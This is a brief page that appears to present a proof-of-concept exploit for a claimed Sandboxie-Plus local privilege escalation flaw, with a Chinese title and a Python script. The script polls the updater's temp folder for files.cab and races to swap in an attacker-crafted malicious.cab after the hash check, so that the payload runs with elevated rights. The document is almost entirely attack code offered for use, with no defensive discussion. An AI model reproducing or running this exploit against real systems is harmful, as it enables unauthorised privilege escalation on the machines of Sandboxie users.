CVE-2026-34596 Sandboxie-Plus 本地提权漏洞

import os import time import shutil # Path to the vulnerable updater directory TARGET_DIR = os.environ.get('TEMP', '') + r'\sandboxie-updater' MALICIOUS_CAB = 'malicious.cab' # User crafted cab with malicious payload TARGET_FILE = os.path.join(TARGET_DIR, 'files.cab') def exploit(): print(f"[*] Monitoring {TARGET_DIR} for update process...") while True: if os.path.exists(TARGET_FILE): print("[+] Detected files.cab. Attempting to replace...") try: # In a real scenario, precise timing or file handle monitoring is needed # Here we simulate the race condition replacement time.sleep(0.1) # Small delay to wait for hash check start shutil.copy(MALICIOUS_CAB, TARGET_FILE) print("[!] files.cab replaced with malicious payload!") break except Exception as e: print(f"[-] Error replacing file: {e}") pass time.sleep(0.05) if __name__ == "__main__": exploit()